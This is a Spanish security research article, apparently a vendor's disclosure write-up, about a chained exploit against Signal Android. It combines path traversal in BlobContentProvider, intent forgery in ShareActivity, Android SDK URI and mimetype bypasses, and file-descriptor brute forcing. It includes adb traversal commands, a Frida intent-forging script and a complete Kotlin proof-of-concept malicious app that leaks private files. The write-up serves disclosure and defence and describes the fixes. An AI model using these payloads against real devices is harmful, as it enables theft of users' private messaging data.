Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Del SDK de Android a Signal: encadenando path traversal, confusión de mimetype, omisión de comprobación de seguridad y fuerza bruta de descriptores de archivo para acceso arbitrario a archivos

Este análisis técnico revela cómo cadenas de ataque sofisticadas, combinando path traversal, manipulación de enlaces simbólicos y peculiaridades del SDK de Android, pueden vulnerar las defensas de Signal Android para extraer archivos internos sensibles, pese a que su legendario cifrado permanece intacto. Aunque Signal corrigió estas vulnerabilidades en cuestión de días, los descubrimientos ofrecen lecciones cruciales sobre cómo errores aparentemente menores pueden encadenarse en exploits potentes, y por qué incluso la mejor arquitectura de seguridad necesita múltiples capas de defensa

Introducción

Tras la filtración de TeleMessage, un fork de Signal con afirmaciones de seguridad engañosas, en Ostorlab decidimos revisar la seguridad del propio Signal, una aplicación reconocida por sus sólidas prácticas de seguridad. Usando nuestra plataforma automatizada de escaneo de vulnerabilidades, descubrimos dos debilidades en Signal Android hasta la versión 7.44.1 combinadas con dos vulnerabilidades en el SDK de Android que podían permitir el acceso a archivos internos, incluido el acceso a bases de datos cifradas, un subconjunto de contactos en texto plano, tokens de notificación de Firebase y la caché y el almacén de cookies del webview.

Antes de entrar en los detalles técnicos, queremos destacar la respuesta excepcional de Signal a nuestra divulgación. El equipo de seguridad de Signal reconoció nuestros hallazgos en apenas 3 horas y tuvo correcciones listas en cuestión de días, un ejemplo sobresaliente de cómo deben gestionarse las vulnerabilidades de seguridad. Esta capacidad de respuesta demuestra el compromiso de Signal con la seguridad de los usuarios y establece un estándar de referencia para la industria.

Este artículo ofrece un análisis técnico profundo de estos hallazgos.

Path traversal en BlobContentProvider

Detección de vulnerabilidad de path traversal

  • Tipo: Path traversal mediante segmentos decodificados de URL
  • Componente: BlobContentProvider (BlobProvider.java:188)
  • Impacto: Acceso de lectura a archivos internos de la aplicación
  • Estado: Corregido

Nuestro análisis estático automatizado identificó una vulnerabilidad de path traversal mediante propagación de taint hasta el método File <init> en org.thoughtcrime.securesms.providers.BlobContentProvider.

Flujo de análisis de taint

El BlobContentProvider se declara en AndroidManifest.xml con android:exported="false" y android:grantUriPermissions="true".

   <provider android:name=".providers.BlobContentProvider"
              android:authorities="${applicationId}.blob"
              android:exported="false"
              android:grantUriPermissions="true" />

Existe una vulnerabilidad de path traversal en
org.thoughtcrime.securesms.providers.BlobContentProvider (específicamente BlobProvider.java:188). Este fallo permite la manipulación de rutas de archivo al construir los nombres de archivo blob internos.

El acceso al método openFile de BlobContentProvider se realiza mediante un Uri. Esto normalmente requiere privilegios elevados (por ejemplo, acceso vía adb shell) o un escenario en el que se concede grantUriPermissions para un URI manipulable.

El BlobContentProvider implementa openFile (BlobContentProvider.java:34) como manejador de las solicitudes de lectura. Esta función openFile toma como argumento un Uri controlado por el usuario:

 public ParcelFileDescriptor openFile(@NonNull Uri uri, 
                                      @NonNull String mode) 
                                      throws FileNotFoundException

El argumento uri se pasa posteriormente a BlobProvider.getInstance().getStream (BlobContentProvider.java:38):

InputStream stream = BlobProvider.getInstance().getStream(AppDependencies.getApplication(), uri))

Que a su vez llama a getBlobRepresentation (BlobProvider.java:161):

 return 
  getBlobRepresentation(
  context,
  uri,
  ByteArrayMediaDataSource::new,
  file->EncryptedMediaDataSource.createForDiskBlob(getAttachmentSecret(context),file));

En BlobProvider.java:188, se extrae el ID_PATH_SEGMENT (5.º segmento) del argumento uri. Esta cadena extraída se usa para construir el nombre de archivo, que luego se combina con una ruta de directorio y se pasa al constructor de File:

        String id        = uri.getPathSegments().get(ID_PATH_SEGMENT);
        String directory = getDirectory(storageType);
        File   file      = new File(getOrCreateDirectory(context, directory), buildFileName(id));

El método Uri.getPathSegments() (extracto que se muestra a continuación) realiza una decodificación de URL en cada segmento de ruta. Esto significa que las secuencias de path traversal codificadas en URL (por ejemplo, %2F para /) se decodifican a sus caracteres literales antes de construir el objeto File, permitiendo que ocurra el traversal.

// Excerpt from Android SDK's Uri.java (similar to getPathSegments implementation)
/**
 * Gets the individual path segments. Parses them if necessary.
 *
 * @return parsed path segments or null if this isn't a hierarchical
 * URI
 */
PathSegments getPathSegments() {
    if (pathSegments != null) {
        return pathSegments;
    }
    String path = getEncoded();
    if (path == null) {
        return pathSegments = PathSegments.EMPTY;
    }
    PathSegmentsBuilder segmentBuilder = new PathSegmentsBuilder();
    int previous = 0;
    int current;
    while ((current = path.indexOf('/', previous)) > -1) {
              if (previous < current) {
            String decodedSegment = decode(path.substring(previous, current));             segmentBuilder.add(decodedSegment);
        }
        previous = current + 1;
    }
       if (previous < path.length()) {
        segmentBuilder.add(decode(path.substring(previous)));    }
    return pathSegments = segmentBuilder.build();
}

En la implementación de getPathSegments, no se realiza ninguna sanitización de secuencias de path traversal (../ o sus equivalentes codificados en URL) sobre el id extraído después de la decodificación y antes de construir la ruta de archivo.

El siguiente comando adb shell content read puede usarse para desencadenar el path traversal:

adb shell content read --uri "content://org.thoughtcrime.securesms.blob
                             /blob/single-session-disk/text_plain/test.txt
                             /1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml"

Interceptando el constructor de File se revela el payload de path traversal siendo procesado:

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::4020 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/
test.txt/1024/..%2F..%2Fshared_prefs%2Forg.thoughtcrime.securesms_preferences.xml
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
...
[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../shared_prefs/org.thoughtcrime.securesms_preferences.xml.blob (1)
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[!] Exception in openFile: Error: java.io.FileNotFoundException

Como se muestra, el payload de path traversal ../../ es usado por el constructor de File. Se impide una lectura directa del archivo objetivo porque la función buildFileName añade una extensión .blob al nombre de archivo (org.thoughtcrime.securesms_preferences.xml.blob), provocando una FileNotFoundException a menos que el archivo objetivo tenga explícitamente esa extensión.

Para potencialmente eludir este procesamiento del nombre de archivo, podría crearse un enlace simbólico que apunte al archivo deseado. El nombre de ese enlace simbólico (sin extensión .blob) se pasaría entonces al Content Provider. Esto eludiría efectivamente la comprobación de la extensión .blob, ya que el constructor de File recibiría el nombre del enlace simbólico, que luego se resuelve hacia el archivo objetivo:

Creando un enlace simbólico llamado toto.blob en un directorio accesible y con permisos de escritura (como /data/local/tmp) que apunta a un archivo objetivo sensible dentro de los datos privados de Signal (targets.xml):

806290 lrwxrwxrwx 1 root  root         98 2025-05-19 19:25 toto.blob -> /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml

adb shell content read --uri "content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto"

Interceptando el constructor de File se revela el payload de path traversal siendo procesado:

Attaching...                                                            
[*] Script loaded successfully
[*] BlobContentProvider.openFile() hooked successfully
[Pixel 5::PID::27976 ]->
[+] BlobContentProvider.openFile() called
[+] URI: content://org.thoughtcrime.securesms.blob/blob/single-session-disk/text_plain/test.txt/99999999/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Ftoto
[+] Mode: r
[+] Stack trace:
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms
[+] Child name: app_single_session_blobs
[+] Stack trace:
    java.io.File.<init>(Native Method)
    android.app.ContextImpl.makeFilename(ContextImpl.java:2861)
    android.app.ContextImpl.getDir(ContextImpl.java:2558)
    android.content.ContextWrapper.getDir(ContextWrapper.java:318)
    org.thoughtcrime.securesms.providers.BlobProvider.getOrCreateDirectory(BlobProvider.java:452)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)

[+] File constructor called with parent and child
[+] Parent path: /data/user/0/org.thoughtcrime.securesms/app_single_session_blobs
[+] Child name: ../../../../../../../../../tmp/toto.blob
[+] Stack trace:
    java.io.File.<init>(Native Method)
    org.thoughtcrime.securesms.providers.BlobProvider.getBlobRepresentation(BlobProvider.java:186)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:140)
    org.thoughtcrime.securesms.providers.BlobProvider.getStream(BlobProvider.java:130)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(BlobContentProvider.java:38)
    org.thoughtcrime.securesms.providers.BlobContentProvider.openFile(Native Method)
    android.content.ContentProvider.openFile(ContentProvider.java:1948)
    android.content.ContentProvider$Transport.openFile(ContentProvider.java:477)
    android.content.ContentProviderNative.onTransact(ContentProviderNative.java:249)
    android.os.Binder.execTransactInternal(Binder.java:1154)
    android.os.Binder.execTransact(Binder.java:1123)
[+] openFile returned successfully

Cualquier archivo leído mediante este mecanismo, incluso si es un archivo en texto plano, pasará por una rutina de descifrado. En consecuencia, si se leyera con éxito un archivo en texto plano, su contenido se descifraría, resultando en una salida ininteligible o deformada.

Sin embargo, la salida se descifra con los primeros bytes del archivo. Los archivos con cabeceras predecibles aún pueden recuperarse con éxito. Esta vulnerabilidad puede encadenarse con la vulnerabilidad de lectura de archivos (siguiente sección) para acceder a archivos en texto plano.

Signal corrigió el problema codificando / y otros caracteres especiales:

  private static @Nullable String getId(@NonNull Uri uri) {
    if (isAuthority(uri)) {
      return Uri.encode(uri.getPathSegments().get(ID_PATH_SEGMENT));
    }
    return null;
  }
@@ -422,7 +422,7 @@ public static boolean isAuthority(@NonNull Uri uri) {
  }

  private static @NonNull String buildFileName(@NonNull String id) {
    return Uri.encode(id) + ".blob";
  }

  private static @NonNull String getDirectory(@NonNull StorageType storageType) {

El uso de Uri.encode() garantiza que los caracteres / permanezcan codificados como %2F, impidiendo los ataques de path traversal.

Vulnerabilidad de lectura de archivos en ShareActivity

Fragmento de código de la vulnerabilidad de lectura de archivos en ShareActivity

  • Tipo: Lectura arbitraria de archivos mediante manipulación de intents
  • Componente: ShareActivity
  • Impacto: Exfiltración de archivos privados de la aplicación
  • Estado: Corregido
   <activity android:name=".sharing.v2.ShareActivity"
              android:theme="@style/Theme.Signal.DayNight.NoActionBar"
              android:exported="true"
              android:excludeFromRecents="true"
              android:taskAffinity=""
              android:windowSoftInputMode="stateHidden"
              android:configChanges="touchscreen|keyboard|keyboardHidden|orientation|screenLayout|screenSize">
        <intent-filter>
            <action android:name="android.intent.action.SEND" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="audio/*" />
            <data android:mimeType="image/*" />
            <data android:mimeType="text/plain" />
            <data android:mimeType="video/*" />
            <data android:mimeType="application/*"/>
            <data android:mimeType="text/*"/>
            <data android:mimeType="*/*"/>
        </intent-filter>

        <intent-filter>
            <action android:name="android.intent.action.SEND_MULTIPLE" />
            <category android:name="android.intent.category.DEFAULT"/>
            <data android:mimeType="image/*" />
            <data android:mimeType="video/*" />
        </intent-filter>

      <meta-data
          android:name="android.service.chooser.chooser_target_service"
          android:value="androidx.sharetarget.ChooserTargetServiceCompat"
          tools:targetApi="23" />

    </activity>

Al recibir un intent, el callback onCreate (ShareActivity.kt:84) llama a getUnresolvedShareData (ShareActivity.kt:87) para validar y procesar los datos del intent entrante.

El método getUnresolvedShareData (ShareActivity.kt) maneja los intents de forma diferente según su acción y sus extras (por ejemplo, ACTION_SEND_MULTIPLE con EXTRA_TEXT en la línea 198, ACTION_SEND_MULTIPLE con EXTRA_STREAM en la línea 213, etc.). El contenido del intent se encapsula finalmente en una de las clases selladas UnresolvedShareData (UnresolvedShareData.kt):

 sealed class UnresolvedShareData {
  data class ExternalMultiShare(val uris: List<Uri>) : UnresolvedShareData()
  data class ExternalSingleShare(val uri: Uri, 
                                 val mimeType: String?, 
                                 val text: CharSequence?) : UnresolvedShareData()
  data class ExternalPrimitiveShare(val text: CharSequence) : UnresolvedShareData()
}

Estas son luego procesadas por una función resolve en ShareRepository.kt:25:

fun resolve(unresolvedShareData: UnresolvedShareData): Single<out ResolvedShareData> {
 return when (unresolvedShareData) {
   is UnresolvedShareData.ExternalMultiShare -> Single.fromCallable { resolve(unresolvedShareData) }
   is UnresolvedShareData.ExternalSingleShare -> Single.fromCallable { resolve(unresolvedShareData) }
  ...
    }.subscribeOn(Schedulers.io())
  }

Para los intents UnresolvedShareData.ExternalSingleShare, se realiza una comprobación de seguridad crucial mediante UriUtil.isValidExternalUri (UriUtil.kt:21):

private fun resolve(multiShareExternal: UnresolvedShareData.ExternalSingleShare): ResolvedShareData {
    if (!UriUtil.isValidExternalUri(appContext, multiShareExternal.uri)) {
      return ResolvedShareData.Failure
    }
}
// UriUtil.kt:21
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
      try {
        val file = File(uri.path)

        return file.canonicalPath == file.path &&
          !file.canonicalPath.startsWith("/data") &&
          !file.canonicalPath.contains(context.packageName)
      } catch (e: IOException) {
        return false
      }
    } else {
      return true
    }
  }

Esta función isValidExternalUri impide correctamente que los URI file:// apunten a directorios de datos internos de la aplicación (/data) o al propio nombre de paquete de la aplicación.

Sin embargo, para los intents UnresolvedShareData.ExternalMultiShare (ShareRepository.kt, resolve para ExternalMultiShare), esta comprobación crítica de isValidExternalUri falta. Las únicas condiciones para el manejo son que el intent debe tener un mimeType que coincida con una imagen o un video (MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)).

Esto permite que una aplicación maliciosa proporcione un URI file:// que apunte a cualquier archivo dentro del directorio de datos privados de Signal. Cuando se procesa dicho intent, las rutinas internas de manejo de medios de Signal leerán el contenido del archivo privado especificado y posteriormente lo copiarán en su propio almacenamiento interno y privado de blobs (app_single_session_blobs).

El siguiente script de Frida demuestra cómo una aplicación maliciosa puede falsificar y enviar un intent ACTION_SEND_MULTIPLE a ShareActivity, forzando a Signal a leer un archivo sensible (targets.xml, que contiene nombres de contactos de la víctima) de su directorio de datos privados:

Java.perform(function () {
    try {
        var Intent = Java.use('android.content.Intent');

        var intent = Intent.$new();


        intent.setAction(Intent.ACTION_SEND_MULTIPLE.value);
        intent.setType("image/png");


        var Uri = Java.use('android.net.Uri');
        var uri1 = Uri.parse("file://data/data/org.thoughtcrime.securesms"+
                            "/files/ShortcutInfoCompatSaver_share_targets/targets.xml"); 
        var uri2 = Uri.parse("file://data/tmp/file.png"); 
        var ArrayList = Java.use('java.util.ArrayList');
        var uriList = ArrayList.$new();
        uriList.add(uri1);
        uriList.add(uri2);


        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM.value, uriList);

        var ComponentName = Java.use('android.content.ComponentName');
        var component = ComponentName.$new(
            "org.thoughtcrime.securesms",
            "org.thoughtcrime.securesms.sharing.v2.ShareActivity"
        );
        intent.setComponent(component);

        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.value);

        var ActivityThread = Java.use('android.app.ActivityThread');
        var context = ActivityThread.currentApplication().getApplicationContext();
        context.startActivity(intent);
        console.log("Intent sent successfully!");
    } catch (e) {
        console.error("Error sending intent: " + e);
    }
});

Tras enviar con éxito el intent manipulado, Signal lee el contenido de targets.xml y crea un nuevo archivo blob dentro de su almacenamiento privado, normalmente en app_single_session_blobs. La existencia de este nuevo blob confirma la lectura interna arbitraria de archivos:

find . -name *blob | xargs ls -ali                                                                                                   
./app_single_session_blobs/ad7843bd-5377-46ea-9a85-fe78d9f86050.blob
./app_single_session_blobs/e9dfcb56-c005-4150-bbf3-ca70960c05ab.blob

Los archivos blob recién creados se almacenan en un formato cifrado dentro del directorio de datos privados de Signal. Aunque ShareActivity facilita una lectura y copia internas, la aplicación maliciosa no obtiene acceso directo al contenido en texto plano. Para recuperar el contenido de estos blobs, se requeriría una operación de lectura independiente a través del BlobContentProvider.

Para explotar completamente la lectura de archivos, es necesario resolver tres problemas: (1) una excepción de seguridad impuesta por el SDK de Android, (2) una validación de tipo mime impuesta por Signal usando el SDK de Android, y (3) adivinar un nombre de archivo aleatorio usando UUID 4.

Sin embargo, todos estos son eludibles debido a dos nuevas vulnerabilidades descubiertas en el SDK de Android, y aprovechando la vulnerabilidad de path traversal para eludir la aleatoriedad del nombre de archivo. Los problemas del SDK de Android no se corregirán debido a desafíos de compatibilidad con versiones anteriores y de viabilidad técnica.

Excepción de seguridad de URI de archivo y confusión de tipo de archivo

Excepción de seguridad de URI de archivo bloqueando el acceso a archivos

La premisa del error anterior es poder pasar un URI file:// desde una aplicación maliciosa que puede hacerse pasar por cualquier tipo de archivo mientras sigue haciendo referencia a cualquier tipo de archivo.

Enviar el siguiente intent desde una aplicación maliciosa desencadena el siguiente error:

   fun triggerVulnerability(): Boolean {
        val intent = Intent().apply {
            action = Intent.ACTION_SEND_MULTIPLE
            type = "image/png"
        };

        var uris = ArrayList<Uri>()
        var uri1 = Uri.parse("file:///data/data/org.thoughtcrime.securesms/" +
                "shared_prefs/org.thoughtcrime.securesms_preferences.xml");
        uris.add(uri1);

        intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris);
        intent.putExtra("android.intent.extra.shortcut.ID", "0");

        startActivity(intent)
        return true
    }

Configuración de StrictMode para eludir FileUriExposedException

El URI es bloqueado por Android, que reporta una FileUriExposedException.

Sin embargo, la comprobación es trivialmente eludible debido a un caso límite de la comprobación «empieza con system», por lo que la siguiente URL permite desencadenar el paso del esquema file://system/../data/ y eludir la excepción de seguridad.

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/net/Uri.java;l=2399?q=checkFIleUriExposed

   public void checkFileUriExposed(String location) {
        if ("file".equals(getScheme())
                && (getPath() != null) && !getPath().startsWith("/system/")) {
            StrictMode.onFileUriExposed(this, location);
        }
    }

Pasar este URI logra llegar a Signal, pero no pasará una comprobación del tipo de URI debido a una verificación del tipo mime que coincide con imagen o video

ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.urisAdd commentMore actions
      .filter { UriUtil.isValidExternalUri(appContext, it) }
      .associateWith { uri -> getMimeType(appContext, uri, null) }
      .filterValues {
        MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
      }

La comprobación usa el método MediaTypeMap para obtener la extensión de archivo a partir de la URL

https://cs.android.com/android/platform/superproject/main/+/main:frameworks/base/core/java/android/webkit/MimeTypeMap.java;l=45?q=MimeTypeMap

   public static String getFileExtensionFromUrl(String url) {
        if (!TextUtils.isEmpty(url)) {
            int fragment = url.lastIndexOf('#');
            if (fragment > 0) {
                url = url.substring(0, fragment);
            }

            int query = url.lastIndexOf('?');
            if (query > 0) {
                url = url.substring(0, query);
            }

            int filenamePos = url.lastIndexOf('/');
            String filename =
                0 <= filenamePos ? url.substring(filenamePos + 1) : url;

            // if the filename contains special characters, we don't
            // consider it valid for our matching purposes:
            if (!filename.isEmpty() &&
                Pattern.matches("[a-zA-Z_0-9\\.\\-\\(\\)\\%]+", filename)) {
                int dotPos = filename.lastIndexOf('.');
                if (0 <= dotPos) {
                    return filename.substring(dotPos + 1);
                }
            }
        }

        return "";
    }

Sin embargo, la implementación es insegura y es vulnerable, permitiendo que cualquier extensión de archivo se haga pasar por cualquier otra extensión. El problema proviene del uso de lastIndexOf con ? y /, lo que hace que el método procese /a.png en lugar de toto.xml en el siguiente ejemplo:

file://folder/toto.xml?/a.png?

Encadenar estos dos problemas en el SDK de Android permite pasar cualquier URI file:// y acceder a cualquier archivo interno de Signal de cualquier tipo. El siguiente desafío es adivinar el nombre UUID4.

Aleatoriedad del nombre de archivo

ShareActivity crea archivos con nombres aleatorios usando un UUID 4 impredecible. Para acceder a ellos desde el content provider se requeriría conocer el id del blob.

Sin embargo, esto puede eludirse encadenando el path traversal y accediendo directamente a los descriptores de archivo. Todos los archivos, una vez abiertos, devuelven un número de descriptor de archivo. Normalmente se trata de un pequeño número incremental que puede someterse fácilmente a fuerza bruta. Además, el descriptor de archivo tendrá un enlace simbólico al descriptor de archivo abierto presente en /proc/<pid>/fd/<fd_number>.

Los números de descriptor de archivo son fácilmente predecibles, como puede verse en la traza a continuación, que muestra el blob abierto con el descriptor de archivo 251 (0xfb).

Ataque de predicción de descriptor de archivo mostrando fd 251

También podemos confirmar la creación del descriptor de archivo observando la carpeta fd, como se ve en la captura de pantalla a continuación:

Enlace simbólico de descriptor de archivo en el sistema de archivos proc

Por lo tanto, es posible que una aplicación maliciosa desencadene intents repetidos con el flag FLAG_ACTIVITY_NEW_TASK para garantizar que se creen múltiples actividades. Al mismo tiempo, la aplicación maliciosa intentará leer todos los enlaces simbólicos hasta obtener una coincidencia; a continuación se muestra un código de ejemplo para lograrlo:

package co.ostorlab.malsignal

import android.content.Intent
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.system.Os
import android.util.Log
import androidx.activity.ComponentActivity
import java.io.File

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        triggerSecurityException()
    }

    private fun createSymlinks() {
        // Create 100 symbolic links from number.blob to /proc/self/fd/number
        for (i in 0..99) {
            val symlinkFile = File("/data/data/co.ostorlab.malsignal", "$i.blob")
            // Delete if it exists, to recreate it.
            if (symlinkFile.exists())
                symlinkFile.delete()


            Os.symlink("/proc/self/fd/$i", symlinkFile.absolutePath)
            symlinkFile.setReadable(true, false)
            symlinkFile.setWritable(true, false)
            Log.d("PoC", "Created symlink: ${symlinkFile.absolutePath} -> /proc/self/fd/$i")
        }
    }

    fun triggerSecurityException(): Boolean {
        createSymlinks()

        // Thread to continuously send intents to Signal to force it to open its preferences file
        Thread {
            while (true) {
                val intent = Intent().apply {
                    action = Intent.ACTION_SEND_MULTIPLE
                    type = "image/png"
                    setPackage("org.thoughtcrime.securesms")
                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                }

                val uris = ArrayList<Uri>()
                val uri1 = Uri.parse("file:///system/../data/data/org.thoughtcrime.securesms/shared_prefs/org.thoughtcrime.securesms_preferences.xml?/a.png?")
                uris.add(uri1)

                intent.putParcelableArrayListExtra(Intent.EXTRA_STREAM, uris)
                intent.putExtra("android.intent.extra.shortcut.ID", "1");

                try {
                    startActivity(intent)
                } catch (e: Exception) {
                    Log.e("PoC", "Error starting activity for intent sending thread", e)
                }
            }
        }.start()

        // Thread to continuously query Signal's BlobContentProvider to race and read the FD
        Thread {
            val signalBlobProviderAuthority = "org.thoughtcrime.securesms.blob"
            // Path traversal to get from Signal's blob dir to our cache dir.
            // Assumes blob dir is 2 levels deep, e.g., /data/data/pkg/files/blobs
            val traversalPath = "blob/single-session-disk/text_plain/test.txt/1024/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fco.ostorlab.malsignal"

            while (true) {
                for (i in 0..300) {
                    val maliciousUri = Uri.parse("content://$signalBlobProviderAuthority/$traversalPath$i")
                    try {
                        contentResolver.openInputStream(maliciousUri)?.use { inputStream ->
                            val content = inputStream.bufferedReader().readText()
                            if (content.isNotBlank()) {
                                Log.d("PoC", "SUCCESS! Leaked content from FD $i:\n$content")
                            }
                        }
                    } catch (e: Exception) {
                        // This is expected to fail most of the time as we are racing.
                    }
                }
            }
        }.start()

        return true
    }
}

Bonus: resolución y análisis de TOCTOU

Signal abordó la vulnerabilidad de ShareActivity implementando una validación exhaustiva de URI. Sin embargo, la corrección contiene una vulnerabilidad teórica de tipo Time-of-Check Time-of-Use (TOCTOU) que, aunque académicamente interesante, no puede explotarse en la práctica debido a las restricciones del sistema de archivos de Android.

Signal añadió validación mediante el método isValidExternalUri:

/**
 * Ensures that an external URI is valid and doesn't contain any references to internal files or
 * any other trickiness.
 */
@JvmStatic
fun isValidExternalUri(context: Context, uri: Uri): Boolean {
    if (ContentResolver.SCHEME_FILE == uri.scheme) {
        try {
            val file = File(uri.path)
            return file.canonicalPath == file.path &&
                !file.canonicalPath.startsWith("/data") &&
                !file.canonicalPath.contains(context.packageName)
        } catch (e: IOException) {
            return false
        }
    } else {
        return true
    }
}

Esta validación se aplica a todos los URI en ShareActivity:

private fun resolve(externalMultiShare: UnresolvedShareData.ExternalMultiShare): ResolvedShareData {
    val mimeTypes: Map<Uri, String> = externalMultiShare.uris
        .filter { UriUtil.isValidExternalUri(appContext, it) }  // Validation happens here
        .associateWith { uri -> getMimeType(appContext, uri, null) }
        .filterValues {
            MediaUtil.isImageType(it) || MediaUtil.isVideoType(it)
        }
    // ... rest of processing
}

La validación realiza tres comprobaciones críticas para los URI de tipo file://:

  1. Comprobación de ruta canónica: file.canonicalPath == file.path
  2. Impide el traversal mediante enlaces simbólicos asegurando que la ruta resuelta coincida con la original
  3. Bloquea cualquier indirección a través de enlaces simbólicos

  4. Bloqueo del directorio de datos: !file.canonicalPath.startsWith("/data")

  5. Impide el acceso a los datos privados de cualquier aplicación
  6. Bloquea toda la partición /data donde residen los archivos sensibles

  7. Comprobación del nombre de paquete: !file.canonicalPath.contains(context.packageName)

  8. Defensa adicional contra el acceso a los archivos de Signal
  9. Captura casos límite en los que los archivos podrían existir fuera de /data

Existe una vulnerabilidad TOCTOU debido al intervalo de tiempo entre la validación y el uso real del archivo:

Momento T1: isValidExternalUri() comprueba el archivo - Lee la ruta canónica - Valida que sea segura - Devuelve true

Momento T2: ShareActivity procesa el archivo - Abre y lee el archivo - Lo copia al almacenamiento de blobs

  1. El atacante proporciona una ruta de archivo legítima (por ejemplo, /sdcard/innocent.jpg)
  2. La validación pasa en T1
  3. Entre T1 y T2, el atacante reemplaza el archivo con un enlace simbólico a /data/data/org.thoughtcrime.securesms/private_file
  4. ShareActivity lee el archivo privado en T2

La arquitectura del sistema de archivos de Android impide esta explotación de TOCTOU por los siguientes motivos:

1. Acceso de escritura limitado:

/data/        ← Only writable by apps in their own directories
/sdcard/      ← Writable but doesn't support symlinks
/system/      ← Read-only
/vendor/      ← Read-only
/tmp/         ← Maps to /data/

2. Restricciones del almacenamiento externo:

  • El sistema de archivos FUSE de Android para el almacenamiento externo (/sdcard) bloquea explícitamente la creación de enlaces simbólicos
  • El intento de crear un enlace simbólico falla con Operation not permitted:
vbox86p:/data/data/org.thoughtcrime.securesms # ln -s /data/local/tmp/target /sdcard/link
ln: cannot create symbolic link from '/data/local/tmp/target' to '/sdcard/link': Function not implemented

4. Requisitos teóricos de elusión: Para que este TOCTOU fuera explotable, un atacante necesitaría:

  • Acceso de escritura a un directorio fuera de /data que admita enlaces simbólicos
  • Capacidad de crear o modificar archivos en ese directorio

Uniéndolo todo

A continuación se muestra un esquema que muestra cómo los distintos problemas tanto en Signal como en el SDK de Android pueden encadenarse para leer un archivo en la aplicación Signal:

  1. Forzar por fuerza bruta intents hacia ShareActivity para desencadenar la lectura de archivos internos
  2. El archivo interno se cifra y se añade al BlobProvider
  3. BlobProvider genera un nombre de archivo UUID aleatorio y lo añade a la base de datos interna
  4. La aplicación maliciosa fuerza por fuerza bruta y explota el path traversal dirigiéndose a los enlaces simbólicos que apuntan a los descriptores de archivo
  5. El BlobProvider apuntará al archivo simbólico, leyendo el descriptor de archivo que apunta al archivo real
  6. El BlobProvider descifrará y devolverá el contenido del archivo en texto plano, ya que la clave está almacenada en la cabecera del archivo
  7. El archivo finalmente se devuelve a la aplicación en texto plano

Dado que el descriptor de archivo tiene una vida corta, este enfoque debe realizarse en bucle hasta que logremos filtrar el archivo objetivo.

Implementación del bucle de ataque de temporización de descriptor de archivo

Implicaciones y lecciones de seguridad

